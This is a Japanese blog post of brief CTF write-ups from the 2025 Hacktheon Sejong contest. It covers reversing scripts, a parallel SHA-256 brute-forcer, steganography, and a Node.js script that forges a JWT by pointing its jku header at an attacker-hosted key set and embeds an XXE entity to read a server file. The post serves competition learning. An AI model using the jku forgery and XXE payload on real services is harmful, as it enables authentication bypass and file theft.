月曜日, 4月 28, 2025
Google search engine
ホームニューステックニュース2025 Hacktheon Sejong 簡易Writeup

2025 Hacktheon Sejong 簡易Writeup


2025 Hacktheon SejongのInternational Collegiate Cyber Security Competition(学部生だけが参加できて、40チームがオンサイトFinalに行ける)にチームsknbで参加しました。結果はAdvanced部門(部門がいくつかあり、Advanced部門からは上位20チームが決勝に行ける)32位で、オンサイト決勝には行けませんでした。チームとしては12問を解いて5762ptを、個人としてはそのうち9問を解いて4328ptを獲得しました。この記事は自分が解いた問題の簡易Writeupになります。

Windows実行ファイルのRev問。Ghidraと睨めっこしたりChatGPTに投げたりすると内部でpythonを読んでいることが分かる。pyinstxtractor.pycファイルを抽出できるので、そこからそれっぽい定数値を抜き出すスクリプトを書いた。


import marshal, sys

def load_pyc(path):
    with open(path, 'rb') as f:
        header = f.read(16)   
        code = marshal.loads(f.read())
    return code

def extract_consts(co):
    for const in co.co_consts:
        if isinstance(const, type(co)):
            print(f"\n--- Function: {const.co_name} ---")
            print([c for c in const.co_consts if isinstance(c, (int, float))])
            extract_consts(const)

if __name__ == "__main__":
    co = load_pyc(sys.argv[1])
    extract_consts(co)

FLAG{2.593627}

apkファイルのRev問。展開してガチャガチャしているとJNIメソッドを呼び出してシークレットをenc/decしていることが分かるので、libbridge_lib.soを見に行く。

$ file libbridge_lib.so 
libbridge_lib.so: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, stripped

ARMバイナリで少し恐れおののいたが、Ghidraに食わせた結果をChatGPTに渡すとFlagを見つけてくれた。
FLAG{1325ed439e52bba40fedefaf5bec9458}

8byteのHex文字列を8*8のグリッドに01で展開するっぽいバイナリが与えられる。これは普通のELFバイナリだった。実行結果が”FLAG”になるHex文字列を求めればそれがFlagになるらしいので、逆算するスクリプトを書いてあげれば良い。

期待する実行結果
        
 ****** 
 *      
 ****** 
 *      
 *      
 *      
        
        
 *      
 *      
 *      
 *      
 *      
 ****** 
        
        
  ****  
 *    * 
 ****** 
 *    * 
 *    * 
 *    * 
        
        
  ****  
 *    * 
 *      
 *  *** 
 *    * 
  ****  
        

2文字目以降(FLAGのLから先)の挙動がおかしくなり沼っていたが、Bufferに前の文字の値が残っているっぽかったのでいい感じのXORを取って補正することで解決した。



import sys

def parse_barcode(path):
    
    with open(path, 'r', encoding='utf-8') as f:
        lines = [line.rstrip('\n') for line in f]
    
    if len(lines) % 8 != 0:
        raise ValueError('行数が 8 の倍数ではありません')
    
    for i, ln in enumerate(lines):
        if len(ln) != 8:
            raise ValueError(f'行 {i} の幅が 8 文字ではありません: {len(ln)}')
    blocks = len(lines) // 8  
    all_bytes = []

    for bi in range(blocks):
        
        block = lines[bi*8:(bi+1)*8]
        
        
        row_bytes = []
        for r in range(8):
            b = 0
            for c in range(8):
                if block[r][c] == '*':
                    b |= 1  c
            row_bytes.append(b)
        
        row_bytes.reverse()
        
        all_bytes.extend(row_bytes)

    
    hexstr = ''.join(f'{b:02x}' for b in all_bytes)
    return hexstr


def xor(str1, str2):
    """2 つの 16 進文字列を XOR する"""
    b1 = bytes.fromhex(str1)
    b2 = bytes.fromhex(str2)
    return bytes(a ^ b for a, b in zip(b1, b2)).hex()


def not_hex(str1):
    """16 進文字列を NOT する"""
    b1 = bytes.fromhex(str1)
    return bytes((~b & 0xFF) for b in b1).hex()


def main():
    if len(sys.argv) != 2:
        print(f'Usage: {sys.argv[0]} ')
        sys.exit(1)
    path = sys.argv[1]
    try:
        hexstr = parse_barcode(path)
    except Exception as e:
        print(f'Error: {e}', file=sys.stderr)
        sys.exit(1)
    str1 = hexstr[0:16]
    str2 = hexstr[16:32]
    str3 = hexstr[32:48]
    str4 = hexstr[48:64]
    print(str1, str2, str3, str4)
    str2 = not_hex(xor(str1, str2))
    str3 = not_hex(xor(str2, str3))
    str4 = not_hex(xor(str3, str4))
    print(str1 + str2 + str3 + str4)

if __name__ == '__main__':
    main()

FLAG{0x000202027e027e00ff83ffff83ff83ff003e424202424000fffdffcfffff83ff}

Pythonのパッケージが配布される。展開するとpyrus.cpython-310-x86_64-linux-gnu.soというバイナリが得られるが、これはおそらくRust製。全く読めたものじゃなかったので、ChatGPTをふんだんにぶん回して思い通りの結果が出るまでガチャった。

https://chatgpt.com/share/680c8b56-4bec-8008-9662-c0fb4a2495b8

もうrevでは逆立ちしてもChatGPTに勝てない。
FLAG{a0b40748a66d458832a456ff86b43d85}

Windowsのレジストリファイルが配布される。ファイルごとChatGPTに投げたら全部やってくれた。
FLAG{8yp455_u4c_g37_5y5t3m}

binファイルからbmpを抜き出して読む問題。スクリプトを書いたらあとはFlagっぽい文字列を探すだけ。完璧なスクリプトではないが、64×64のチャンク単位で抽出できているのでなんとか読めた。



"""
bmc_collage.py
--------------
Cache0000.bin(RDP ビットマップキャッシュ v6)を読み取り、
すべてのタイルを 1 枚のコラージュ BMP に書き出す。

使い方:
    python bmc_collage.py Cache0000.bin            # tiles.bmp を生成
    python bmc_collage.py Cache0000.bin -c 32 -o collage.bmp
"""

import argparse
import math
import struct
from pathlib import Path
from PIL import Image


def read_tiles(buf: bytes):
    """Cache0000.bin から (64×64 RGBA, index) を順に yield"""
    if buf[:8] != b"RDP8bmp\x00" or struct.unpack_from(", buf, 8)[0] != 6:
        raise ValueError("RDP8bmp v6 ではありません")

    p = 12
    idx = 0
    while p + 12  len(buf):
        _key1, _key2, w, h = struct.unpack_from(", buf, p)
        if w == 0 and h == 0:  
            break

        size = w * h * 4
        if p + 12 + size > len(buf):
            raise ValueError("不正な長さです")

        
        img = Image.frombytes("RGBA", (w, h), buf[p + 12 : p + 12 + size])

        
        img = img.transpose(Image.FLIP_TOP_BOTTOM).transpose(Image.FLIP_LEFT_RIGHT)

        
        if (w, h) != (64, 64):
            pad = Image.new("RGBA", (64, 64), (255, 255, 255, 255))
            pad.paste(img, (0, 0))
            img = pad

        yield img, idx
        idx += 1
        p += 12 + size


def make_collage(tile_iter, per_row: int) -> Image.Image:
    """タイルを per_row 枚ずつ横に並べてコラージュを返す"""
    tiles = list(tile_iter)
    rows = math.ceil(len(tiles) / per_row)
    canvas = Image.new("RGBA", (64 * per_row, 64 * rows), (255, 255, 255, 255))
    for i, (img, _) in enumerate(tiles):
        r, c = divmod(i, per_row)
        canvas.paste(img, (c * 64, r * 64))
    return canvas


def main():
    ap = argparse.ArgumentParser(description="Cache0000.bin → 1 枚の BMP")
    ap.add_argument("cache", help="解析対象 Cache0000.bin")
    ap.add_argument("-c", "--columns", type=int, default=64,
                    help="1 行に並べるタイル数(既定 64)")
    ap.add_argument("-o", "--out", default="tiles.bmp",
                    help="出力ファイル名(既定 tiles.bmp)")
    args = ap.parse_args()

    buf = Path(args.cache).read_bytes()
    collage = make_collage(read_tiles(buf), args.columns)

    collage.convert("RGB").save(args.out, format="BMP")
    print(f"[+] {collage.width}×{collage.height}px で {args.out} を生成しました")


if __name__ == "__main__":
    main()

FLAG{s0m3on3_1s_w4tch1n9_my_pc}

原文が?l?d?l?l?l?d!?d?dという形式だということのみが分かった状態でHashを逆算する問題。頑張って総当たりする。
ただ総当たりするだけだと1時間くらいかかってしまうので並列化した。多分10分もかからなかったはず。




import itertools
import hashlib
import multiprocessing
from concurrent.futures import ProcessPoolExecutor, as_completed
from tqdm import tqdm  


LETTERS = 'abcdefghijklmnopqrstuvwxyz'
DIGITS  = '0123456789'
CHAR_SETS = [
    LETTERS,   
    DIGITS,    
    LETTERS,   
    LETTERS,   
    LETTERS,   
    DIGITS,    
    ['!'],     
    DIGITS,    
    DIGITS,    
]

TARGET_HASH = '27AC620A35D509F992EDC3F06DB3EC04C3610AE52F24F3CF13F29662EB4EF4F2'


def search_subspace(first_char: str) -> str:
    """
    先頭文字を first_char に固定したサブ空間(残り 8文字)を総当たり。
    見つかれば candidate を返し、なければ空文字を返す。
    """
    for suffix in itertools.product(*CHAR_SETS[1:]):
        candidate = first_char + ''.join(suffix)
        h = hashlib.sha256(candidate.encode()).hexdigest().upper()
        if h == TARGET_HASH:
            return candidate
    return ''


def main():
    
    cpu_cnt = multiprocessing.cpu_count()
    print(f"使用可能な CPU コア数: {cpu_cnt}")
    
    
    with ProcessPoolExecutor(max_workers=cpu_cnt) as executor:
        
        actual_workers = executor._max_workers
        print(f"並列化に使われるワーカー数: {actual_workers}\n")

        
        futures = {executor.submit(search_subspace, c): c for c in LETTERS}

        
        for future in tqdm(as_completed(futures), total=len(futures),
                           desc="Prefix chunks", unit="task"):
            result = future.result()
            if result:
                
                print(f"\nFound! FLAG{{{result}}}")
                executor.shutdown(cancel_futures=True)
                return

    print("\nNot found.")


if __name__ == '__main__':
    main()

FLAG{h4ckm3!25}

ステガノグラフィ問。色々試していたら1bitLSBだということが分かったので、取り出す。
FLAG{St3gan09raphy_15_Eazy~~!!}

adminでログインしてね!という典型的なWeb問。
tokenで認証周りを管理していて、jwtのheaderは以下のようになっていた。

{
  "alg": "RS256",
  "cty": "application/json",
  "jku": "http://localhost:5010/jwks.json",
  "kid": "server-key",
  "typ": "JWT"
}

最初にalgをnoneHS256に変更して改ざんを試みたが不発。次にjkuを弄ってみると良い感じだったので、自分で生成したRSA鍵ペアの公開鍵を自分のサーバーでホストしてそのURLをjkuに設定することで任意のpayloadで署名が通るようになった。
ちなみに適当に作ったアカウントのpayloadは以下のようになっていた。

  user>
    user_id>aaa@example.comuser_id>
    username>aaausername>
    role>userrole>
  user>

ただadminとしてログインしただけではFlagが取得できず、サーバーの/FLAGに配置してあるのでこれをどうにかして読み出す必要がある。XXEを使って良い感じにusernameとして表示させることができた。最終的なjwt改ざんスクリプトはこうなる。




const fs  = require('fs');
const jwt = require('jsonwebtoken');


const PRIVATE_KEY_PATH = './attacker_private.pem';

const NEW_JKU_URL = 'https://ctf-server.claustra01.net/jwks.json';


const [,, originalToken] = process.argv;
if (!originalToken) {
  console.error('Usage: node forge_jku_token_fixed.js ');
  process.exit(1);
}


let privateKey;
try {
  privateKey = fs.readFileSync(PRIVATE_KEY_PATH, 'utf8');
} catch (err) {
  console.error(`秘密鍵ファイルの読み込みに失敗: ${PRIVATE_KEY_PATH}`);
  process.exit(1);
}


const decoded = jwt.decode(originalToken, { complete: true });
if (!decoded || typeof decoded === 'string') {
  console.error('Invalid JWT format');
  process.exit(1);
}

const { header: origHeader, payload } = decoded;


const newHeader = {
  ...origHeader,
  jku: NEW_JKU_URL,
  cty: 'application/xml',
  kid: 'server-key'
};


const newPayload = {
  ...payload,
  "user_role": "admin",
  "user_info": `
  ]>
  
    aaa@example.com
    &xxe;
    admin
  
  `
};


let forgedToken;
try {
  forgedToken = jwt.sign(newPayload, privateKey, {
    algorithm: origHeader.alg,
    header: newHeader
  });
} catch (err) {
  console.error('トークン再署名に失敗:', err.message);
  process.exit(1);
}

console.log('--- Forged JWT ---');
console.log(forgedToken);

このtokenで自分のユーザーページにアクセスするとusernameの代わりにFlagが表示される。非常に面白い問題だった。
FLAG{jku_4nd_xxe_4r3_d4ng3r0u5}

GPT-o3,o4が有能すぎてrevやforensicsがサクサク解けましたが、あまり腰を据えてwebと向き合えなかったな~という気持ちです。まぁ9時間の短いCTFですし、案外こんなものでしょうか。取らなきゃいけない問題はきちんと取れたけど、差をつけるために取りたい問題は取れなかったなって感じです。あと2問くらい解けてたら決勝に行けてたので、かなり不完全燃焼です。
そして例によって、不定期で僕と一緒にゆるくCTFに参加してくれる方・チームを探しています。Webは多少できると思います。よろしくお願いします。

フラッグシティパートナーズ海外不動産投資セミナー 【DMM FX】入金

Source link

RELATED ARTICLES

返事を書く

あなたのコメントを入力してください。
ここにあなたの名前を入力してください

- Advertisment -
Google search engine

Most Popular

Recent Comments